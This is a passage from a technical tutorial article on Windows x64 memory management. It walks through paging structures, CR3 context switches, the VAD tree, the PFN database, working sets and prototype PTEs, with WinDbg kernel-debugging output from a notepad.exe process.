shouldn't get the same value. That would be devastating from a security and stability standpoint. In fact, the same permissions may not even be applied to that virtual memory in both processes. But how does Windows accomplish this separation? It's actually pretty straightforward: when switching threads in kernel-mode or user-mode (called a context switch), Windows stores off or loads information about the current thread including the state of all of the registers. Because of this, Windows is able to swap out the root of the paging structures when the thread context is switched by changing the value of CR3, effectively allowing it to manage an entirely separate set of paging structures for each process on the system. This gives each process a unique mapping of virtual memory to physical memory, while still using the same virtual address ranges as another process. The PML4 table pointer for each user-mode process is stored in the DirectoryTableBase member of an internal kernel structure called the EPROCESS, which also manages a great deal of other state and metadata about the process. Figure 2: In reality, each process has its own set of paging structures, and Windows swaps out the value of the CR3 register when it executes within that process. This allows virtual addresses in each process to map to different physical addresses. We can see the paging structure swap between processes for ourselves if we do a little bit of exploration using WinDbg. If you haven't already set up kernel debugging, you should check out this article to get yourself started. Then follow along below. Let's first get a list of processes running on the target system. We can do that using the !process command. For more details on how to use this command, consider checking out the documentation using .hh !process. In our case, we pass parameters of zero to show all processes on the system. 0: kd> !process 0 0 **** NT ACTIVE PROCESS DUMP **** PROCESS fffffa801916b5d0 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 00187000 ObjectTable: fffff8a000001890 HandleCount: 560. Image: System PROCESS fffffa8028effb10 SessionId: none Cid: 0130 Peb: 7fffffd8000 ParentCid: 0004 DirBase: 7d9ed5000 ObjectTable: fffff8a000174d80 HandleCount: 36. Image: smss.exe PROCESS fffffa802949bb10 SessionId: 0 Cid: 01b8 Peb: 7fffffdf000 ParentCid: 0174 DirBase: 7cf890000 ObjectTable: fffff8a000b82010 HandleCount: 713. Image: csrss.exe ... PROCESS fffffa8019218b10 SessionId: 1 Cid: 02f0 Peb: 7fffffd5000 ParentCid: 0808 DirBase: 652e89000 ObjectTable: fffff8a00cacc270 HandleCount: 58. Image: notepad.exe view raw tf-article2-windbg-1.txt hosted with ❤ by GitHub We can use notepad.exe as our target process, but you should be able to follow along with virtually any process of your choice. The next thing we need to do is attach ourselves to this process - simply put, we need to be in this process' context. This lets us access the virtual memory of notepad.exe by remapping the paging structures. We can verify that the context switch is happening by watching what happens to the CR3 register. If the virtual memory we have access to is going to change, we expect that the value of CR3 will change to new paging structures that represent notepad.exe's virtual memory. Let's take a look at the value of CR3 before the context switch. 0: kd> r cr3 cr3=000000078b07a000 view raw tf-article2-windbg-2.txt hosted with ❤ by GitHub We know that this value should change to the DirectoryTableBase member of the EPROCESS structure that represents notepad.exe when we make the switch. As a matter of interest, we can take a look at that structure and see what it contains. The PROCESS fffffa8019218b10 line emitted by the debugger when we listed all processes is actually the virtual address of that process' EPROCESS structure. 0: kd> dt nt!_EPROCESS fffffa8019218b10 -b +0x000 Pcb : _KPROCESS +0x000 Header : _DISPATCHER_HEADER +0x000 Type : 0x3 '' +0x001 TimerControlFlags : 0 '' +0x001 Absolute : 0y0 +0x001 Coalescable : 0y0 +0x001 KeepShifting : 0y0 +0x001 EncodedTolerableDelay : 0y00000 (0) +0x001 Abandoned : 0 '' +0x001 Signalling : 0 '' +0x002 ThreadControlFlags : 0x58 'X' +0x002 CpuThrottled : 0y0 +0x002 CycleProfiling : 0y0 +0x002 CounterProfiling : 0y0 +0x002 Reserved : 0y01011 (0xb) +0x002 Hand : 0x58 'X' +0x002 Size : 0x58 'X' +0x003 TimerMiscFlags : 0 '' +0x003 Index : 0y000000 (0) +0x003 Inserted : 0y0 +0x003 Expired : 0y0 +0x003 DebugActive : 0 '' +0x003 ActiveDR7 : 0y0 +0x003 Instrumented : 0y0 +0x003 Reserved2 : 0y0000 +0x003 UmsScheduled : 0y0 +0x003 UmsPrimary : 0y0 +0x003 DpcActive : 0 '' +0x000 Lock : 0n5767171 +0x004 SignalState : 0n0 +0x008 WaitListHead : _LIST_ENTRY [ 0xfffffa80`19218b18 - 0xfffffa80`19218b18 ] +0x000 Flink : 0xfffffa80`19218b18 +0x008 Blink : 0xfffffa80`19218b18 +0x018 ProfileListHead : _LIST_ENTRY [ 0xfffffa80`19218b28 - 0xfffffa80`19218b28 ] +0x000 Flink : 0xfffffa80`19218b28 +0x008 Blink : 0xfffffa80`19218b28 +0x028 DirectoryTableBase : 0x00000006`52e89000 ... view raw tf-article2-windbg-3.txt hosted with ❤ by GitHub The fully expanded EPROCESS structure is massive, so everything after what we're interested in has been omitted from the results above. We can see, though, that the DirectoryTableBase is a member at +0x028 of the process control block (KPROCESS) structure that's embedded as part of the larger EPROCESS structure. According to this output, we should expect that CR3 will change to 0x00000006`52e89000 when we switch to this process' context in WinDbg. To perform the context swap, we use the .process command and indicate that we want an invasive swap (/i) which will remap the virtual address space and allow us to do things like set breakpoints in user-mode memory. Also, in order for the process context swap to complete, we need to allow the process to execute once using the g command. The debugger will then break again, and we're officially in the context of notepad.exe. 0: kd> .process /i /P fffffa8019218b10 You need to continue execution (press 'g' <enter>) for the context to be switched. When the debugger breaks in again, you will be in the new process context. 0: kd> g Break instruction exception - code 80000003 (first chance) nt!DbgBreakPointWithStatus: fffff800`02a73c70 cc int 3 view raw tf-article2-windbg-4.txt hosted with ❤ by GitHub Okay! Now that we're in the context we need to be in, let's check the CR3 register to verify that the paging structures have been changed to the DirectoryTableBase member we saw earlier. 6: kd> r cr3 cr3=0000000652e89000 view raw tf-article2-windbg-5.txt hosted with ❤ by GitHub Looks like it worked as we expected. We would find a unique set of paging structures at 0x00000006`52e89000 that represented the virtual to physical address mappings within notepad.exe. This is essentially the same kind of swap that occurs each time Windows switches to a thread in a different process. Virtual address ranges While each process gets its own view of virtual memory and can re-use the same virtual address range as another process, there are some consistent rules of thumb that Windows abides by when it comes to which virtual address ranges store certain kinds of information. To start, each user-mode process is allowed a user-mode virtual address space ranging from 0x000`00000000 to 0x7ff`ffffffff, giving each process a theoretical maximum of 8TB of virtual memory that it can access. Then, each process also has a range of kernel-mode virtual memory that is split up into a number of different subsections. This much larger range gives the kernel a theoretical maximum of 248TB of virtual memory, ranging from 0xffff0800`00000000 to 0xffffffff`ffffffff. The remaining address space is not actually used by Windows, though, as we can see below. Figure 3: All possible virtual memory, divided into the different ranges that Windows enforces. The virtual addresses for the kernel-mode regions may not be true on Windows 10, where these regions are subject to address space layout randomization (ASLR). Credits to Alex Ionescu for specific kernel space mappings. Currently, there is an extremely large “no man's land” of virtual memory space between the user-mode and kernel-mode ranges of virtual memory. This range of memory isn't wasted, though, it's just not addressable due to the current architecture constraint of 48-bit virtual addresses, which we discussed in our previous article. If there existed a system with 16EB of physical memory - enough memory to address all possible 64-bit virtual memory - the extra physical memory would simply be used to hold the pages of other processes, so that many processes' memory ranges could be resident in physical memory at once. As an aside, one other interesting property of the way Windows handles virtual address mapping is being able to quickly tell kernel pointers from user-mode pointers. Memory that is mapped as part of the kernel has the highest order bits of the address (the 16 bits we didn't use as part of the linear address translation) set to 1, while user-mode memory has them set to 0. This ensures that kernel-mode pointers begin with 0xFFFF and user-mode pointers begin with 0x0000. A tree of virtual memory: the VAD We can see that the kernel-mode virtual memory is nicely divided into different sections. But what about user-mode memory? How does the memory manager know which portions of virtual memory have been allocated, which haven't, and details about each of those ranges? How can it know if a virtual address within a process is valid or invalid? It could walk the process' paging structures to figure this out every time the information was needed, but there is another way: the virtual address descriptor (VAD) tree. Each process has a VAD tree that can be located in the VadRoot member of the aforementioned EPROCESS structure. The tree is a balanced binary search tree, with each node representing a region of virtual memory within the process. Figure 4: The VAD tree is balanced with lower virtual page numbers to the left, and each node providing some additional details about the memory range. Each node gives details about the range of addresses, the memory protection of that region, and some other metadata depending on the state of the memory it is representing. We can use our friend WinDbg to easily list all of the entries in the VAD tree of a particular process. Let's have a look at the VAD entries from notepad.exe using !vad. 6: kd> !vad VAD Level Start End Commit fffffa8019785170 5 10 1f 0 Mapped READWRITE Pagefile section, shared commit 0x10 fffffa8019229650 4 20 26 0 Mapped READONLY Pagefile section, shared commit 0x7 fffffa802aec35c0 5 30 33 0 Mapped READONLY Pagefile section, shared commit 0x4 fffffa80291085a0 3 40 41 0 Mapped READONLY Pagefile section, shared commit 0x2 fffffa802b25c180 5 50 50 1 Private READWRITE fffffa802b0b8940 4 60 c6 0 Mapped READONLY \Windows\System32\locale.nls fffffa8019544940 5 d0 d1 0 Mapped READWRITE Pagefile section, shared commit 0x2 fffffa80193c5570 2 e0 e2 3 Mapped WRITECOPY \Windows\System32\en-US\notepad.exe.mui fffffa802b499e00 5 f0 f0 1 Private READWRITE fffffa802b4a6160 4 100 100 1 Private READWRITE fffffa801954d3a0 5 110 110 0 Mapped READWRITE Pagefile section, shared commit 0x1 fffffa80197cf8c0 3 120 121 0 Mapped READONLY Pagefile section, shared commit 0x2 fffffa802b158240 4 160 16f 2 Private READWRITE fffffa802b24f180 1 1a0 21f 20 Private READWRITE fffffa802b1fc680 6 220 31f 104 Private READWRITE fffffa802b44d110 5 320 41f 146 Private READWRITE fffffa802910ece0 6 420 4fe 0 Mapped READONLY Pagefile section, shared commit 0xdf fffffa802b354c60 4 540 54f 7 Private READWRITE fffffa8029106660 6 550 6d7 0 Mapped READONLY Pagefile section, shared commit 0x6 fffffa802b4738b0 5 6e0 860 0 Mapped READONLY Pagefile section, shared commit 0x181 fffffa802942ea30 6 870 1c6f 0 Mapped READONLY Pagefile section, shared commit 0x23 fffffa802b242260 3 1cf0 1d6f 28 Private READWRITE fffffa802aa66d60 5 1e10 1e8f 113 Private READWRITE fffffa8019499560 4 3030 395f 0 Mapped READONLY \Windows\Fonts\StaticCache.dat fffffa8019246370 5 3960 3c2e 0 Mapped READONLY \Windows\Globalization\Sorting\SortDefault.nls fffffa802b184c50 6 3c30 3d2f 1 Private READWRITE fffffa802b45f180 2 77420 77519 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\user32.dll fffffa80192afa20 4 77520 7763e 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\kernel32.dll fffffa802a8ba9c0 3 77640 777e9 14 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\ntdll.dll fffffa802910a440 5 7efe0 7f0df 0 Mapped READONLY Pagefile section, shared commit 0x5 fffffa802b26d180 4 7f0e0 7ffdf 0 Private READONLY fffffa802b4cb160 0 7ffe0 7ffef -1 Private READONLY fffffa802b4e60d0 5 ffd50 ffd84 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\notepad.exe fffffa801978d170 4 7fefa530 7fefa5a0 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\winspool.drv fffffa80197e0970 5 7fefaab0 7fefab05 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\uxtheme.dll fffffa802a6d9720 6 7fefafd0 7fefafe7 5 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\dwmapi.dll fffffa80197ecc50 3 7fefb390 7fefb583 6 Mapped Exe EXECUTE_WRITECOPY \Windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_fa3b1e3d17594757\comctl32.dll fffffa802a91e010 5 7fefc3c0 7fefc3cb 2 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\version.dll fffffa80197cb010 6 7fefd1d0 7fefd1de 2 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\cryptbase.dll fffffa80290fe9c0 4 7fefd440 7fefd4a9 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\KernelBase.dll fffffa8029109e30 5 7fefd6f0 7fefd6fd 2 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\lpk.dll fffffa8029522520 6 7fefd720 7fefd74d 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\imm32.dll fffffa802910bce0 2 7fefd800 7fefd8da 7 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\advapi32.dll fffffa80290d9500 5 7fefd8e0 7fefdadb 9 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\ole32.dll fffffa802af4a0c0 4 7fefdae0 7fefe86a 13 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\shell32.dll fffffa8019787170 5 7fefea50 7fefea6e 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\sechost.dll fffffa802a6e8010 3 7fefeda0 7fefee36 6 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\comdlg32.dll fffffa802a6ae010 5 7fefee50 7fefef58 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\msctf.dll fffffa802910dac0 4 7feff0f0 7feff21c 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\rpcrt4.dll fffffa801948e940 1 7feff2a0 7feff33e 7 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\msvcrt.dll fffffa802aac1010 5 7feff340 7feff3b0 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\shlwapi.dll fffffa8029156010 4 7feff3c0 7feff48a 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\usp10.dll fffffa801956e170 5 7feff800 7feff8d9 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\oleaut32.dll fffffa8019789170 3 7feff8e0 7feff946 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\gdi32.dll fffffa801958e170 4 7feff960 7feff960 0 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\apisetschema.dll fffffa80290f3c10 2 7fffffb0 7fffffd2 0 Mapped READONLY Pagefile section, shared commit 0x23 fffffa802af28110 3 7fffffd5 7fffffd5 1 Private READWRITE fffffa802a714a30 4 7fffffde 7fffffdf 2 Private READWRITE Total VADs: 58, average level: 5, maximum depth: 6 Total private commit: 0x228 pages (2208 KB) Total shared commit: 0x2d3 pages (2892 KB) view raw tf-article2-windbg-6.txt hosted with ❤ by GitHub The range of addresses supported by a given VAD entry are stored as virtual page numbers - similar to a PFN, but simply in virtual memory. This means that an entry representing a starting VPN of 0x7f and an ending VPN of 0x8f would actually be representing virtual memory from address 0x00000000`0007f000 to 0x00000000`0008ffff. There are a number of complexities of the VAD tree that are outside the scope of this article. For example, each node in the tree can be one of three different types depending on the state of the memory being represented. In addition, a VAD entry may contain information about the backing PTEs for that region of memory if that memory is shared. We will touch more on that concept in a later section. Let's get physical So we now know that Windows maintains separate paging structures for each individual process, and some details about the different virtual memory ranges that are defined. But the operating system also needs a central mechanism to keep track of each individual page of physical memory. After all, it needs to know what's stored in each physical page, whether it can write that data out to a paging file on disk to free up memory, how many processes are using that page for the purposes of shared memory, and plenty of other details for proper memory management That's where the page frame number (PFN) database comes in. A pointer to the base of this very large structure can be located at the symbol nt!MmPfnDatabase, but we know based on the kernel-mode memory ranges that it starts at the virtual address 0xfffffa80`00000000, except on Windows 10 where this is subject to ASLR. (As an aside, WinDbg has a neat extension for dealing with the kernel ASLR in Windows 10 - !vm 0x21 will get you the post-KASLR regions). For each physical page available on the system, there is an nt!_MMPFN structure allocated in the database to provide details about the page. Figure 5: Each physical page in the system is represented by a PFN entry structure in this very large, contiguous data structure. Though some of the bits of the nt!_MMPFN structure can vary depending on the state of the page, that structure generally looks something like this: 0: kd> dt nt!_MMPFN +0x000 u1 : <unnamed-tag> +0x008 u2 : <unnamed-tag> +0x010 PteAddress : Ptr64 _MMPTE +0x010 VolatilePteAddress : Ptr64 Void +0x010 Lock : Int4B +0x010 PteLong : Uint8B +0x018 u3 : <unnamed-tag> +0x01c UsedPageTableEntries : Uint2B +0x01e VaType : UChar +0x01f ViewCount : UChar +0x020 OriginalPte : _MMPTE +0x020 AweReferenceCount : Int4B +0x028 u4 : <unnamed-tag> view raw tf-article2-windbg-7.txt hosted with ❤ by GitHub A page represented in the PFN database can be in a number of different states. The state of the page will determine what the memory manager does with the contents of that page. We won't be focusing on the different states too much in this article, but there are a few of them: active, transition, modified, free, and bad, to name several. It is definitely worth mentioning that for efficiency reasons, Windows manages linked lists that are comprised of all of the nt!_MMPFN entries that are in a specific state. This makes it much easier to traverse all pages that are in a specific state, rather than having to walk the entire PFN database. For example, it can allow the memory manager to quickly locate all of the free pages when memory needs to be paged in from disk. Figure 6: Different linked lists make it easier to walk the PFN database according to the state of the pages, e.g. walk all of the free pages contiguously. Another purpose of the PFN database is to help facilitate the translation of physical addresses back to their corresponding virtual addresses. Windows uses the PFN database to accomplish this during calls such as nt!MmGetVirtualForPhysical. While it is technically possible to search all of the paging structures for every process on the system in order to work backwards up the paging structures to get the original virtual address, the fact that the nt!_MMPFN structure contains a reference to the backing PTE coupled with some clever allocation rules by Microsoft allow them to easily convert back to a virtual address using the PTE and some bit shifting. For a little bit of practical experience exploring the PFN database, let's find a region of memory in notepad.exe that we can take a look at. One area of memory that could be of interest is the entry point of our application. We can use the !dh command to display the PE header information associated with a given module in order to track down the address of the entry point. Because we've switched into a user-mode context in one of our previous examples, WinDbg will require us to reload our symbols so that it can make sense of everything again. We can do that using the .reload /f command. Then we can look at notepad.exe's headers: 6: kd> !dh notepad.exe File Type: EXECUTABLE IMAGE FILE HEADER VALUES 8664 machine (X64) 6 number of sections 559EA8BE time date stamp Thu Jul 9 10:00:46 2015 0 file pointer to symbol table 0 number of symbols F0 size of optional header 22 characteristics Executable App can handle >2gb addresses OPTIONAL HEADER VALUES 20B magic # 9.00 linker version A800 size of code 25800 size of initialized data 0 size of uninitialized data 3ACC address of entry point 1000 base of code ----- new ----- 00000000ffd50000 image base 1000 section alignment 200 file alignment 2 subsystem (Windows GUI) 6.01 operating system version 6.01 image version 6.01 subsystem version 35000 size of image 600 size of headers 36DA2 checksum 0000000000080000 size of stack reserve 0000000000011000 size of stack commit 0000000000100000 size of heap reserve 0000000000001000 size of heap commit 8140 DLL characteristics Dynamic base NX compatible Terminal server aware 0 [ 0] address of Export Directory CFF8 [ 12C] address of Import Directory 14000 [ 1F168] address of Resource Directory 13000 [ 6B4] address of Exception Directory 0 [ 0] address of Security Directory 34000 [ B8] address of Base Relocation Directory B740 [ 38] address of Debug Directory 0 [ 0] address of Description Directory 0 [ 0] address of Special Directory 0 [ 0] address of Thread Storage Directory 0 [ 0] address of Load Configuration Directory 2E0 [ 138] address of Bound Import Directory C000 [ 7F0] address of Import Address Table Directory 0 [ 0] address of Delay Import Directory 0 [ 0] address of COR20 Header Directory 0 [ 0] address of Reserved Directory … view raw tf-article2-windbg-8.txt hosted with ❤ by GitHub Again, the output is quite verbose, so the section information at the bottom is omitted from the above snippet. We're interested in the address of entry point member of the optional header, which is listed as 0x3acc. That value is called a relative virtual address (RVA), and it's the number of bytes from the base address of the notepad.exe image. If we add that relative address to the base of notepad.exe, we should see the code located at our entry point. 6: kd> u notepad.exe + 0x3acc L10 notepad!WinMainCRTStartup: 00000000`ffd53acc 4883ec28 sub rsp,28h 00000000`ffd53ad0 e80bf3ffff call notepad!_security_init_cookie (00000000`ffd52de0) 00000000`ffd53ad5 4883c428 add rsp,28h 00000000`ffd53ad9 eb09 jmp notepad!DisplayNonGenuineDlgWorker+0x14c (00000000`ffd53ae4) 00000000`ffd53adb 90 nop 00000000`ffd53adc 90 nop 00000000`ffd53add 90 nop 00000000`ffd53ade 90 nop 00000000`ffd53adf 90 nop 00000000`ffd53ae0 90 nop 00000000`ffd53ae1 90 nop 00000000`ffd53ae2 90 nop 00000000`ffd53ae3 90 nop 00000000`ffd53ae4 4889742408 mov qword ptr [rsp+8],rsi 00000000`ffd53ae9 48897c2410 mov qword ptr [rsp+10h],rdi 00000000`ffd53aee 4154 push r12 view raw tf-article2-windbg-9.txt hosted with ❤ by GitHub And we do see that the address resolves to notepad!WinMainCRTStartup, like we expected. Now we have the address of our target process' entry point: 00000000`ffd53acc. While the above steps were a handy exercise in digging through parts of a loaded image, they weren't actually necessary since we had symbols loaded. We could have simply used the ? qualifier in combination with the symbol notepad!WinMainCRTStartup, as demonstrated below, or gotten the value of a handy pseudo-register that represents the entry point with r $exentry. 6: kd> ? notepad!WinMainCRTStartup Evaluate expression: 4292164300 = 00000000`ffd53acc view raw tf-article2-windbg-10.txt hosted with ❤ by GitHub In any case, we now have the address of our entry point, which from here on we'll refer to as our “target” or the “target page”. We can now start taking a look at the different paging structures that support our target, as well as the PFN database entry for it. Let's first take a look at the PFN database. We know the virtual address where this structure is supposed to start, but let's look for it the long way, anyway. We can easily find the beginning of this structure by using the ? qualifier and poi on the symbol name. The poi command treats its parameter as a pointer and retrieves the value located at that pointer. 6: kd> ? poi(nt!MmPfnDatabase) Evaluate expression: -6047313952768 = fffffa80`00000000 view raw tf-article2-windbg-11.txt hosted with ❤ by GitHub Knowing that the PFN database begins at 0xfffffa80`00000000, we should be able to index easily to the entry that represents our target page. First we need to figure out the page frame number in physical memory that the target's PTE refers to, and then we can index into the PFN database by that number. Looking back on what we learned from the previous article, we can grab the PTE information about the target page very easily using the handy !pte command. 6: kd> !pte 00000000`ffd53acc VA 00000000ffd53acc PXE at FFFFF6FB7DBED000 PPE at FFFFF6FB7DA00018 PDE at FFFFF6FB40003FF0 PTE at FFFFF680007FEA98 contains 02D0000654195867 contains 4D00000654D16867 contains 02F0000654D97867 contains 32C000065207B025 pfn 654195 ---DA--UWEV pfn 654d16 ---DA--UWEV pfn 654d97 ---DA--UWEV pfn 65207b ----A--UREV view raw tf-article2-windbg-12.txt hosted with ❤ by GitHub The above result would indicate that the backing page frame number for the target is 0x65207b. That should be the index into the PFN database that we'll need to use. Remember that we'll need to multiply that index by the size of an nt!_MMPFN structure, since we're essentially trying to skip that many PFN entries. 6: kd> ?? sizeof(nt!_MMPFN) unsigned int64 0x30 6: kd> dt !_MMPFN (0xfffffa80`00000000 + (0x65207b * 0x30)) nt!_MMPFN +0x000 u1 : <unnamed-tag> +0x008 u2 : <unnamed-tag> +0x010 PteAddress : 0xfffff8a0`09e25a00 _MMPTE +0x010 VolatilePteAddress : 0xfffff8a0`09e25a00 Void +0x010 Lock : 0n165829120 +0x010 PteLong : 0xfffff8a0`09e25a00 +0x018 u3 : <unnamed-tag> +0x01c UsedPageTableEntries : 0 +0x01e VaType : 0 '' +0x01f ViewCount : 0 '' +0x020 OriginalPte : _MMPTE +0x020 AweReferenceCount : 0n-333970336 +0x028 u4 : <unnamed-tag> view raw tf-article2-windbg-13.txt hosted with ❤ by GitHub This looks like a valid PFN entry. We can verify that we've done everything correctly by first doing the manual calculation to figure out what the address of the PFN entry should be, and then comparing it to where WinDbg thinks it should be. 6: kd> ? (0xfffffa80`00000000 + (0x65207b * 0x30)) Evaluate expression: -6046995835120 = fffffa80`12f61710 view raw tf-article2-windbg-14.txt hosted with ❤ by GitHub So based on the above, we know that the nt!_MMPFN entry for the page we're interested in it should be located at 0xfffffa80`12f61710, and we can use a nice shortcut to verify if we're correct. As always in WinDbg, there is an easier way to obtain information from the PFN database. This can be done by using the !pfn command with the page frame number. 6: kd> !pfn 0x65207b PFN 0065207B at address FFFFFA8012F61710 flink 0000032C blink / share count 00000001 pteaddress FFFFF8A009E25A00 reference count 0001 used entry count 0000 Cached color 0 Priority 1 restore pte FA80194CEC180460 containing page 693603 Active P Shared view raw tf-article2-windbg-15.txt hosted with ❤ by GitHub Here we can see that WinDbg also indicates that the PFN entry is at 0xfffffa8012f61710, just like our calculation, so it looks like we did that correctly. An interlude about working sets Phew - we've done some digging around in the PFN database now, and we've seen how each entry in that database stores some information about the physical page itself. Let's take a step back for a moment, back into the world of virtual memory, and talk about working sets. Each process has what's called a working set, which represents all of the process' virtual memory that is subject to paging and is accessible without incurring a page fault. Some parts of the process' memory may be paged to disk in order to free up RAM, or in a transition state, and therefore accessing those regions of memory will generate a page fault within that process. In layman's terms, a page fault is essentially the architecture indicating that it can't access the specified virtual memory, because the PTEs needed for translation weren't found inside the paging structures, or because the permissions on the PTEs restrict what the application is attempting to do. When a page fault occurs, the page fault handler must resolve it by adding the page back into the process' working set (meaning it also gets added back into the process' paging structures), mapping the page back into memory from disk and then adding it back to the working set, or indicating that the page being accessed is invalid. Figure 7: An example working set of a process, where some rarely accessed pages were paged out to disk to free up physical memory. It should be noted that other regions of virtual memory may be accessible to the process which do not appear in the working set, such as Address Windowing Extensions (AWE) mappings or large pages; however, for the purposes of this article we will be focusing on memory that is part of the working set. Occasionally, Windows will trim the working set of a process in response to (or to avoid) memory pressure on the system, ensuring there is memory available for other processes. If the working set of a process is trimmed, the pages being trimmed have their backing PTEs marked as “not valid” and are put into a transition state while they await being paged to disk or given away to another process. In the case of a “soft” page fault, the page described by the PTE is actually still resident in physical memory, and the page fault handler can simply mark the PTE as valid again and resolve the fault efficiently. Otherwise, in the case of a “hard” page fault, the page fault handler needs to fetch the contents of the page from the paging file on disk before marking the PTE as valid again. If this kind of fault occurs, the page fault handler will likely also have to alter the page frame number that the PTE refers to, since the page isn't likely to be loaded back into the same location in physical memory that it previously resided in. Sharing is caring It's important to remember that while two processes do have different paging structures that map their virtual memory to different parts of physical memory, there can be portions of their virtual memory which map to the same physical memory. This concept is called shared memory, and it's actually quite common within Windows. In fact, even in our previous example with notepad.exe's entry point, the page of memory we looked at was shared. Examples of regions in memory that are shared are system modules, shared libraries, and files that are mapped into memory with CreateFileMapping() and MapViewOfFile(). In addition, the kernel-mode portion of a process' memory will also point to the same shared physical memory as other processes, because a shared view of the kernel is typically mapped into every process. Despite the fact that a view of the kernel is mapped into their memory, user-mode applications will not be able to access pages of kernel-mode memory as Windows sets the UserSupervisor bit in the kernel-mode PTEs. The hardware uses this bit to enforce ring0-only access to those pages. Figure 8: Two processes may have different views of their user space virtual memory, but they get a shared view of the kernel space virtual memory. In the case of memory that is not shared between processes, the PFN database entry for that page of memory will point to the appropriate PTE in the process that owns that memory. Figure 9: When not sharing memory, each process will have PTE for a given page, and that PTE will point to a unique member of the PFN database. When dealing with memory that is shareable, Windows creates a kind of global PTE - known as a prototype PTE - for each page of the shared memory. This prototype always represents the real state of the physical memory for the shared page. If marked as Valid, this prototype PTE can act as a hardware PTE just as in any other case. If marked as Not Valid, the prototype will indicate to the page fault handler that the memory needs to be paged back in from disk. When a prototype PTE exists for a given page of memory, the PFN database entry for that page will always point to the prototype PTE. Figure 10: Even though both processes still have a valid PTE pointing to their shared memory, Windows has created a prototype PTE which points to the PFN entry, and the PFN entry now points to the prototype PTE instead of a specific process. Why would Windows create this special PTE for shared memory? Well, imagine for a moment that in one of the processes, the PTE that describes a shared memory location is stripped out of the process' working set. If the process then tries to access that memory, the page fault handler sees that the PTE has been marked as Not Valid, but it has no idea whether that shared page is still resident in physical memory or not. For this, it uses the prototype PTE. When the PTE for the shared page within the process is marked as Not Valid, the Prototype bit is also set and the page frame number is set to the location of the prototype PTE for that page. Figure 11: One of the processes no longer has a valid PTE for the shared memory, so Windows instead uses the prototype PTE to ascertain the true state of the physical page. This way, the page fault handler is able to examine the prototype PTE to see if the physical page is still valid and resident or not. If it is still resident, then the page fault handler can simply mark the process' version of the PTE as valid again, resolving the soft fault. If the prototype PTE indicates it is Not Valid, then the page fault handler must fetch the page from disk. We can continue our adventures in WinDbg to explore this further, as it can be a tricky concept. Based on what we know about shared memory, that should mean that the PTE referenced by the PFN entry for the entry point of notepad.exe is a prototype PTE. We can already see that it's a different address (0xfffff8a0`09e25a00) than the PTE that we were expecting from the !pte command (0xfffff680007fea98). Let's look at the fully expanded nt!_MMPTE structure that's being referenced in the PFN entry. 6: kd> dt !_MMPTE 0xfffff8a0`09e25a00 -b nt!_MMPTE +0x000 u : <unnamed-tag> +0x000 Long : 0x00000006`5207b121 +0x000 VolatileLong : 0x00000006`5207b121 +0x000 Hard : _MMPTE_HARDWARE +0x000 Valid : 0y1 +0x000 Dirty1 : 0y0 +0x000 Owner : 0y0 +0x000 WriteThrough : 0y0 +0x000 CacheDisable : 0y0 +0x000 Accessed : 0y1 +0x000 Dirty : 0y0 +0x000 LargePage : 0y0 +0x000 Global : 0y1 +0x000 CopyOnWrite : 0y0 +0x000 Unused : 0y0 +0x000 Write : 0y0 +0x000 PageFrameNumber : 0y000000000000011001010010000001111011 (0x65207b) +0x000 reserved1 : 0y0000 +0x000 SoftwareWsIndex : 0y00000000000 (0) +0x000 NoExecute : 0y0 ... +0x000 Proto : _MMPTE_PROTOTYPE +0x000 Valid : 0y1 +0x000 Unused0 : 0y0010000 (0x10) +0x000 ReadOnly : 0y1 +0x000 Unused1 : 0y0 +0x000 Prototype : 0y0 +0x000 Protection : 0y10110 (0x16) +0x000 ProtoAddress : 0y000000000000000000000000000001100101001000000111 (0x65207) ... view raw tf-article2-windbg-16.txt hosted with ❤ by GitHub We can compare that with the nt!_MMPTE entry that was referenced when we did the !pte command on notepad.exe's entry point. 6: kd> dt nt!_MMPTE 0xfffff680007fea98 -b +0x000 u : <unnamed-tag> +0x000 Long : 0x32c00006`5207b025 +0x000 VolatileLong : 0x32c00006`5207b025 +0x000 Hard : _MMPTE_HARDWARE +0x000 Valid : 0y1 +0x000 Dirty1 : 0y0 +0x000 Owner : 0y1 +0x000 WriteThrough : 0y0 +0x000 CacheDisable : 0y0 +0x000 Accessed : 0y1 +0x000 Dirty : 0y0 +0x000 LargePage : 0y0 +0x000 Global : 0y0 +0x000 CopyOnWrite : 0y0 +0x000 Unused : 0y0 +0x000 Write : 0y0 +0x000 PageFrameNumber : 0y000000000000011001010010000001111011 (0x65207b) +0x000 reserved1 : 0y0000 +0x000 SoftwareWsIndex : 0y01100101100 (0x32c) +0x000 NoExecute : 0y0 ... +0x000 Proto : _MMPTE_PROTOTYPE +0x000 Valid : 0y1 +0x000 Unused0 : 0y0010010 (0x12) +0x000 ReadOnly : 0y0 +0x000 Unused1 : 0y0 +0x000 Prototype : 0y0 +0x000 Protection : 0y10110 (0x16) +0x000 ProtoAddress : 0y001100101100000000000000000001100101001000000111 (0x32c000065207) ... view raw tf-article2-windbg-17.txt hosted with ❤ by GitHub It looks like the Prototype bit is not set on either of them, and they're both valid. This makes perfect sense. The shared page still belongs to notepad.exe's working set, so the PTE in the process' paging structures is still valid; however, the operating system has proactively 